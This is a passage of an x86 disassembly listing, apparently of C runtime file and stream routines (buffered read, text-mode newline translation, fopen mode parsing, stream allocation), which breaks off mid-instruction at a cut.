neg eax sbb eax, eax and eax, 10h add eax, 10h mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, eax mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 or eax, 0FFFFFFFFh jmp loc_4299ED ; --------------------------------------------------------------------------- loc_42992B: ; CODE XREF: sub_429810+E9j mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 82h test eax, eax jnz short loc_429991 mov ecx, [ebp+var_4] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz short loc_429966 mov edx, [ebp+var_4] mov eax, [edx+10h] sar eax, 5 mov ecx, [ebp+var_4] mov edx, [ecx+10h] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[eax*4] add eax, edx mov [ebp+var_8], eax jmp short loc_42996D ; --------------------------------------------------------------------------- loc_429966: ; CODE XREF: sub_429810+131j mov [ebp+var_8], offset dword_452AA0 loc_42996D: ; CODE XREF: sub_429810+154j mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx+4] and edx, 82h cmp edx, 82h jnz short loc_429991 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ch, 20h mov edx, [ebp+var_4] mov [edx+0Ch], ecx loc_429991: ; CODE XREF: sub_429810+128j ; sub_429810+170j mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 200h jnz short loc_4299C4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 8 test edx, edx jz short loc_4299C4 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 400h test ecx, ecx jnz short loc_4299C4 mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h loc_4299C4: ; CODE XREF: sub_429810+18Bj ; sub_429810+198j ... mov eax, [ebp+var_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+var_4] mov [edx+4], ecx mov eax, [ebp+var_4] mov ecx, [eax] movsx eax, byte ptr [ecx] and eax, 0FFh mov edx, [ebp+var_4] mov ecx, [edx] add ecx, 1 mov edx, [ebp+var_4] mov [edx], ecx loc_4299ED: ; CODE XREF: sub_429810+58j ; sub_429810+7Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A00 proc near ; CODE XREF: sub_421120+118p ; sub_429810+CBp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4E96A0 jnb short loc_429A31 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_429A4C loc_429A31: ; CODE XREF: sub_429A00+Dj call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_429A7E ; --------------------------------------------------------------------------- loc_429A4C: ; CODE XREF: sub_429A00+2Fj mov edx, [ebp+arg_0] push edx call sub_4336D0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_429A90 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_433760 add esp, 4 mov eax, [ebp+var_4] loc_429A7E: ; CODE XREF: sub_429A00+4Aj mov esp, ebp pop ebp retn sub_429A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A90 proc near ; CODE XREF: sub_429A00+64p ; sub_433B40+42Fp var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_18], 0 mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+arg_8], 0 jz short loc_429ACB mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 2 test ecx, ecx jz short loc_429AD2 loc_429ACB: ; CODE XREF: sub_429A90+17j xor eax, eax jmp loc_429ED1 ; --------------------------------------------------------------------------- loc_429AD2: ; CODE XREF: sub_429A90+39j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4E95A0[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 48h test edx, edx jz short loc_429B69 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] movsx eax, byte ptr [edx+ecx+5] cmp eax, 0Ah jz short loc_429B69 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] mov ecx, [ebp+var_14] mov dl, [eax+edx+5] mov [ecx], dl mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov byte ptr [edx+ecx+5], 0Ah loc_429B69: ; CODE XREF: sub_429A90+62j ; sub_429A90+82j push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov eax, [edx+ecx] push eax nop call near ptr 28108CCh test eax, eax jnz short loc_429BE8 nop call near ptr 27A0A66h mov [ebp+var_8], eax cmp [ebp+var_8], 5 jnz short loc_429BC7 call sub_42C1E0 mov dword ptr [eax], 9 call sub_42C1F0 mov ecx, [ebp+var_8] mov [eax], ecx or eax, 0FFFFFFFFh jmp loc_429ED1 ; --------------------------------------------------------------------------- loc_429BC7: ; CODE XREF: sub_429A90+118j cmp [ebp+var_8], 6Dh jnz short loc_429BD4 xor eax, eax jmp loc_429ED1 ; --------------------------------------------------------------------------- loc_429BD4: ; CODE XREF: sub_429A90+13Bj mov edx, [ebp+var_8] push edx call sub_42C140 add esp, 4 or eax, 0FFFFFFFFh jmp loc_429ED1 ; --------------------------------------------------------------------------- loc_429BE8: ; CODE XREF: sub_429A90+109j mov eax, [ebp+var_18] add eax, [ebp+var_10] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz loc_429ECE cmp [ebp+var_10], 0 jz short loc_429C64 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jnz short loc_429C64 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] mov cl, [eax+edx+4] or cl, 4 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_4E95A0[edx*4] mov [edx+eax+4], cl jmp short loc_429C9A ; --------------------------------------------------------------------------- loc_429C64: ; CODE XREF: sub_429A90+18Ej ; sub_429A90+199j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov al, [edx+ecx+4] and al, 0FBh mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_4E95A0[ecx*4] mov [ecx+edx+4], al loc_429C9A: ; CODE XREF: sub_429A90+1D2j mov edx, [ebp+arg_4] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_429CA6: ; CODE XREF: sub_429A90:loc_429EC0j mov ecx, [ebp+arg_4] add ecx, [ebp+var_18] cmp [ebp+var_4], ecx jnb loc_429EC5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 1Ah jnz short loc_429D1E mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 40h test ecx, ecx jnz short loc_429D19 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4E95A0[edx*4] mov dl, [ecx+eax+4] or dl, 2 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_4E95A0[eax*4] mov [eax+ecx+4], dl loc_429D19: ; CODE XREF: sub_429A90+250j jmp loc_429EC5 ; --------------------------------------------------------------------------- loc_429D1E: ; CODE XREF: sub_429A90+22Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jz short loc_429D4A mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp loc_429EC0 ; --------------------------------------------------------------------------- loc_429D4A: ; CODE XREF: sub_429A90+297j mov edx, [ebp+var_18] mov eax, [ebp+arg_4] lea ecx, [eax+edx-1] cmp [ebp+var_4], ecx jnb short loc_429DA0 mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 0Ah jnz short loc_429D7F mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_429D9B ; --------------------------------------------------------------------------- loc_429D7F: ; CODE XREF: sub_429A90+2D3j mov ecx, [ebp+var_C] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_429D9B: ; CODE XREF: sub_429A90+2EDj jmp loc_429EC0 ; --------------------------------------------------------------------------- loc_429DA0: ; CODE XREF: sub_429A90+2C7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov [ebp+var_8], 0 push 0 lea ecx, [ebp+var_10] push ecx push 1 lea edx, [ebp+var_1C] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov eax, [edx+ecx] push eax nop call near ptr 28108CCh test eax, eax jnz short loc_429DE9 nop call near ptr 27A0A66h mov [ebp+var_8], eax loc_429DE9: ; CODE XREF: sub_429A90+34Ej cmp [ebp+var_8], 0 jnz short loc_429DF5 cmp [ebp+var_10], 0 jnz short loc_429E09 loc_429DF5: ; CODE XREF: sub_429A90+35Dj mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp loc_429EC0 ; --------------------------------------------------------------------------- loc_429E09: ; CODE XREF: sub_429A90+363j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 48h test eax, eax jz short loc_429E73 movsx ecx, [ebp+var_1C] cmp ecx, 0Ah jnz short loc_429E45 mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_429E71 ; --------------------------------------------------------------------------- loc_429E45: ; CODE XREF: sub_429A90+3A2j mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] mov al, [ebp+var_1C] mov [edx+ecx+5], al loc_429E71: ; CODE XREF: sub_429A90+3B3j jmp short loc_429EC0 ; --------------------------------------------------------------------------- loc_429E73: ; CODE XREF: sub_429A90+399j mov ecx, [ebp+var_C] cmp ecx, [ebp+arg_4] jnz short loc_429E95 movsx edx, [ebp+var_1C] cmp edx, 0Ah jnz short loc_429E95 mov eax, [ebp+var_C] mov byte ptr [eax], 0Ah mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_429EC0 ; --------------------------------------------------------------------------- loc_429E95: ; CODE XREF: sub_429A90+3E9j ; sub_429A90+3F2j push 1 push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_430180 add esp, 0Ch mov [ebp+var_20], eax movsx eax, [ebp+var_1C] cmp eax, 0Ah jz short loc_429EC0 mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_429EC0: ; CODE XREF: sub_429A90+2B5j ; sub_429A90:loc_429D9Bj ... jmp loc_429CA6 ; --------------------------------------------------------------------------- loc_429EC5: ; CODE XREF: sub_429A90+21Fj ; sub_429A90:loc_429D19j mov eax, [ebp+var_C] sub eax, [ebp+arg_4] mov [ebp+var_18], eax loc_429ECE: ; CODE XREF: sub_429A90+184j mov eax, [ebp+var_18] loc_429ED1: ; CODE XREF: sub_429A90+3Dj ; sub_429A90+132j ... mov esp, ebp pop ebp retn sub_429A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429EE0 proc near ; CODE XREF: sub_4212F0+DBp var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov eax, dword_4E9430 mov [ebp+var_1C], eax mov [ebp+var_18], 0 mov [ebp+var_10], 0 loc_429EFF: ; CODE XREF: sub_429EE0+47j cmp [ebp+arg_0], 0 jnz short loc_429F23 push offset aFilenameNull ; "filename != NULL" push 0 push 47h push offset a_open_c ; "_open.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_429F23 int 3 ; Trap to Debugger loc_429F23: ; CODE XREF: sub_429EE0+23j ; sub_429EE0+40j xor ecx, ecx test ecx, ecx jnz short loc_429EFF loc_429F29: ; CODE XREF: sub_429EE0+71j cmp [ebp+arg_4], 0 jnz short loc_429F4D push offset aModeNull ; "mode != NULL" push 0 push 48h push offset a_open_c ; "_open.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_429F4D int 3 ; Trap to Debugger loc_429F4D: ; CODE XREF: sub_429EE0+4Dj ; sub_429EE0+6Aj xor edx, edx test edx, edx jnz short loc_429F29 loc_429F53: ; CODE XREF: sub_429EE0+9Bj cmp [ebp+arg_C], 0 jnz short loc_429F77 push offset dword_43E4A4 push 0 push 49h push offset a_open_c ; "_open.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_429F77 int 3 ; Trap to Debugger loc_429F77: ; CODE XREF: sub_429EE0+77j ; sub_429EE0+94j xor eax, eax test eax, eax jnz short loc_429F53 mov ecx, [ebp+arg_4] mov dl, [ecx] mov [ebp+var_20], dl cmp [ebp+var_20], 61h jz short loc_429FBC cmp [ebp+var_20], 72h jz short loc_429F99 cmp [ebp+var_20], 77h jz short loc_429FAA jmp short loc_429FCE ; --------------------------------------------------------------------------- loc_429F99: ; CODE XREF: sub_429EE0+AFj mov [ebp+var_14], 0 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax jmp short loc_429FD5 ; --------------------------------------------------------------------------- loc_429FAA: ; CODE XREF: sub_429EE0+B5j mov [ebp+var_14], 301h mov ecx, [ebp+var_1C] or ecx, 2 mov [ebp+var_1C], ecx jmp short loc_429FD5 ; --------------------------------------------------------------------------- loc_429FBC: ; CODE XREF: sub_429EE0+A9j mov [ebp+var_14], 109h mov edx, [ebp+var_1C] or edx, 2 mov [ebp+var_1C], edx jmp short loc_429FD5 ; --------------------------------------------------------------------------- loc_429FCE: ; CODE XREF: sub_429EE0+B7j xor eax, eax jmp loc_42A1F6 ; --------------------------------------------------------------------------- loc_429FD5: ; CODE XREF: sub_429EE0+C8j ; sub_429EE0+DAj ... mov [ebp+var_4], 1 loc_429FDC: ; CODE XREF: sub_429EE0:loc_42A17Aj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jz loc_42A17F cmp [ebp+var_4], 0 jz loc_42A17F mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] mov [ebp+var_24], ecx mov edx, [ebp+var_24] sub edx, 2Bh mov [ebp+var_24], edx cmp [ebp+var_24], 49h ja loc_42A173 mov ecx, [ebp+var_24] xor eax, eax mov al, byte_42A225[ecx] jmp off_42A1FD[eax*4] loc_42A02B: ; DATA XREF: .XComp0:off_42A1FDo mov edx, [ebp+var_14] and edx, 2 test edx, edx jz short loc_42A03E mov [ebp+var_4], 0 jmp short loc_42A060 ; --------------------------------------------------------------------------- loc_42A03E: ; CODE XREF: sub_429EE0+153j mov eax, [ebp+var_14] or al, 2 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 0FFFFFFFEh mov [ebp+var_14], ecx mov edx, [ebp+var_1C] or dl, 80h mov [ebp+var_1C], edx mov eax, [ebp+var_1C] and al, 0FCh mov [ebp+var_1C], eax loc_42A060: ; CODE XREF: sub_429EE0+15Cj jmp loc_42A17A ; --------------------------------------------------------------------------- loc_42A065: ; CODE XREF: sub_429EE0+144j ; DATA XREF: .XComp0:0042A211o mov ecx, [ebp+var_14] and ecx, 0C000h test ecx, ecx jz short loc_42A07B mov [ebp+var_4], 0 jmp short loc_42A084 ; --------------------------------------------------------------------------- loc_42A07B: ; CODE XREF: sub_429EE0+190j mov edx, [ebp+var_14] or dh, 80h mov [ebp+var_14], edx loc_42A084: ; CODE XREF: sub_429EE0+199j jmp loc_42A17A ; --------------------------------------------------------------------------- loc_42A089: ; CODE XREF: sub_429EE0+144j ; DATA XREF: .XComp0:0042A21Do mov eax, [ebp+var_14] and eax, 0C000h test eax, eax jz short loc_42A09E mov [ebp+var_4], 0 jmp short loc_42A0A7 ; --------------------------------------------------------------------------- loc_42A09E: ; CODE XREF: sub_429EE0+1B3j mov ecx, [ebp+var_14] or ch, 40h mov [ebp+var_14], ecx loc_42A0A7: ; CODE XREF: sub_429EE0+1BCj jmp loc_42A17A ; --------------------------------------------------------------------------- loc_42A0AC: ; CODE XREF: sub_429EE0+144j ; DATA XREF: .XComp0:0042A215o cmp [ebp+var_18], 0 jz short loc_42A0BB mov [ebp+var_4], 0 jmp short loc_42A0CB ; --------------------------------------------------------------------------- loc_42A0BB: ; CODE XREF: sub_429EE0+1D0j mov [ebp+var_18], 1 mov edx, [ebp+var_1C] or dh, 40h mov [ebp+var_1C], edx loc_42A0CB: ; CODE XREF: sub_429EE0+1D9j jmp loc_42A17A ; --------------------------------------------------------------------------- loc_42A0D0: ; CODE XREF: sub_429EE0+144j ; DATA XREF: .XComp0:0042A219o cmp [ebp+var_18], 0 jz short loc_42A0DF mov [ebp+var_4], 0 jmp short loc_42A0EF ; --------------------------------------------------------------------------- loc_42A0DF: ; CODE XREF: sub_429EE0+1F4j mov [ebp+var_18], 1 mov eax, [ebp+var_1C] and ah, 0BFh mov [ebp+var_1C], eax loc_42A0EF: ; CODE XREF: sub_429EE0+1FDj jmp loc_42A17A ; --------------------------------------------------------------------------- loc_42A0F4: ; CODE XREF: sub_429EE0+144j ; DATA XREF: .XComp0:0042A209o cmp [ebp+var_10], 0 jz short loc_42A103 mov [ebp+var_4], 0 jmp short loc_42A113 ; --------------------------------------------------------------------------- loc_42A103: ; CODE XREF: sub_429EE0+218j mov [ebp+var_10], 1 mov ecx, [ebp+var_14] or ecx, 20h mov [ebp+var_14], ecx loc_42A113: ; CODE XREF: sub_429EE0+221j jmp short loc_42A17A ; --------------------------------------------------------------------------- loc_42A115: ; CODE XREF: sub_429EE0+144j ; DATA XREF: .XComp0:0042A205o cmp [ebp+var_10], 0 jz short loc_42A124 mov [ebp+var_4], 0 jmp short loc_42A134 ; --------------------------------------------------------------------------- loc_42A124: ; CODE XREF: sub_429EE0+239j mov [ebp+var_10], 1 mov edx, [ebp+var_14] or edx, 10h mov [ebp+var_14], edx loc_42A134: ; CODE XREF: sub_429EE0+242j jmp short loc_42A17A ; --------------------------------------------------------------------------- loc_42A136: ; CODE XREF: sub_429EE0+144j ; DATA XREF: .XComp0:0042A20Do mov eax, [ebp+var_14] and eax, 1000h test eax, eax jz short loc_42A14B mov [ebp+var_4], 0 jmp short loc_42A154 ; --------------------------------------------------------------------------- loc_42A14B: ; CODE XREF: sub_429EE0+260j mov ecx, [ebp+var_14] or ch, 10h mov [ebp+var_14], ecx loc_42A154: ; CODE XREF: sub_429EE0+269j jmp short loc_42A17A ; --------------------------------------------------------------------------- loc_42A156: ; CODE XREF: sub_429EE0+144j ; DATA XREF: .XComp0:0042A201o mov edx, [ebp+var_14] and edx, 40h test edx, edx jz short loc_42A169 mov [ebp+var_4], 0 jmp short loc_42A171 ; --------------------------------------------------------------------------- loc_42A169: ; CODE XREF: sub_429EE0+27Ej mov eax, [ebp+var_14] or al, 40h mov [ebp+var_14], eax loc_42A171: ; CODE XREF: sub_429EE0+287j jmp short loc_42A17A ; --------------------------------------------------------------------------- loc_42A173: ; CODE XREF: sub_429EE0+133j ; sub_429EE0+144j ; DATA XREF: ... mov [ebp+var_4], 0 loc_42A17A: ; CODE XREF: sub_429EE0:loc_42A060j ; sub_429EE0:loc_42A084j ... jmp loc_429FDC ; --------------------------------------------------------------------------- loc_42A17F: ; CODE XREF: sub_429EE0+10Dj ; sub_429EE0+117j push 1A4h mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_433B40 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_42A1A5 xor eax, eax jmp short loc_42A1F6 ; --------------------------------------------------------------------------- loc_42A1A5: ; CODE XREF: sub_429EE0+2BFj mov ecx, dword_4E9250 add ecx, 1 mov dword_4E9250, ecx mov edx, [ebp+arg_C] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov eax, [ebp+var_C] loc_42A1F6: ; CODE XREF: sub_429EE0+F0j ; sub_429EE0+2C3j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429EE0 endp ; --------------------------------------------------------------------------- off_42A1FD dd offset loc_42A02B ; DATA XREF: sub_429EE0+144r dd offset loc_42A156 dd offset loc_42A115 dd offset loc_42A0F4 dd offset loc_42A136 dd offset loc_42A065 dd offset loc_42A0AC dd offset loc_42A0D0 dd offset loc_42A089 dd offset loc_42A173 byte_42A225 db 0 ; DATA XREF: sub_429EE0+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A270 proc near ; CODE XREF: sub_4212F0+B9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 push 2 call sub_425990 add esp, 4 mov [ebp+var_4], 0 jmp short loc_42A299 ; --------------------------------------------------------------------------- loc_42A290: ; CODE XREF: sub_42A270+A8j ; sub_42A270:loc_42A399j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42A299: ; CODE XREF: sub_42A270+1Ej mov ecx, [ebp+var_4] cmp ecx, dword_4EA900 jge loc_42A39E mov edx, [ebp+var_4] mov eax, dword_4E98F4 cmp dword ptr [eax+edx*4], 0 jz short loc_42A32F mov ecx, [ebp+var_4] mov edx, dword_4E98F4 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jnz short loc_42A32D mov edx, [ebp+var_4] mov eax, dword_4E98F4 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_4] push edx call sub_424B70 add esp, 8 mov eax, [ebp+var_4] mov ecx, dword_4E98F4 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_42A31D mov ecx, [ebp+var_4] mov edx, dword_4E98F4 mov eax, [edx+ecx*4] push eax mov ecx, [ebp+var_4] push ecx call sub_424BE0 add esp, 8 jmp loc_42A290 ; --------------------------------------------------------------------------- loc_42A31D: ; CODE XREF: sub_42A270+8Dj mov edx, [ebp+var_4] mov eax, dword_4E98F4 mov ecx, [eax+edx*4] mov [ebp+var_8], ecx jmp short loc_42A39E ; --------------------------------------------------------------------------- loc_42A32D: ; CODE XREF: sub_42A270+5Dj jmp short loc_42A399 ; --------------------------------------------------------------------------- loc_42A32F: ; CODE XREF: sub_42A270+44j push 55h push offset aStream_c ; "stream.c" push 2 push 38h call sub_41EDD0 add esp, 10h mov edx, [ebp+var_4] mov ecx, dword_4E98F4 mov [ecx+edx*4], eax mov edx, [ebp+var_4] mov eax, dword_4E98F4 cmp dword ptr [eax+edx*4], 0 jz short loc_42A397 mov ecx, [ebp+var_4] mov edx, dword_4E98F4 mov eax, [edx+ecx*4] add eax, 20h push eax nop call near ptr 29405B9h mov ecx, [ebp+var_4] mov edx, dword_4E98F4 mov eax, [edx+ecx*4] add eax, 20h push eax nop call near ptr 7C901005h mov ecx, [ebp+var_4] mov edx, dword_4E98F4 mov eax, [edx+ecx*4] mov [ebp+var_8], eax loc_42A397: ; CODE XREF: sub_42A270+EAj jmp short loc_42A39E ; --------------------------------------------------------------------------- loc_42A399: ; CODE XREF: sub_42A270:loc_42A32Dj jmp loc_42A290 ; --------------------------------------------------------------------------- loc_42A39E: ; CODE XREF: sub_42A270+32j ; sub_42A270+BBj ... cmp [ebp+var_8], 0 jz short loc_42A3DF mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+10h], 0FFFFFFFFh loc_42A3DF: ; CODE XREF: sub_42A270+132j push 2 call sub_425A30 add esp, 4 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42A270 endp ; =============== S U B R O U T I N E ======================================= sub_42A3F0 proc near ; CODE XREF: .XComp0:0042176Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_42A409 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_42A409: ; CODE XREF: sub_42A3F0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_42A3F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A430 proc near ; CODE XREF: sub_4219C0+E5p ; sub_421B90+E4p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi loc_42A439: ; CODE XREF: sub_42A430+31j cmp [ebp+arg_4], 0 jnz short loc_42A45D push offset dword_43E4A4 push 0 push 69h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42A45D int 3 ; Trap to Debugger loc_42A45D: ; CODE XREF: sub_42A430+Dj ; sub_42A430+2Aj xor eax, eax test eax, eax jnz short loc_42A439 mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_10], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 82h test edx, edx jz short loc_42A48F mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 40h test ecx, ecx jz short 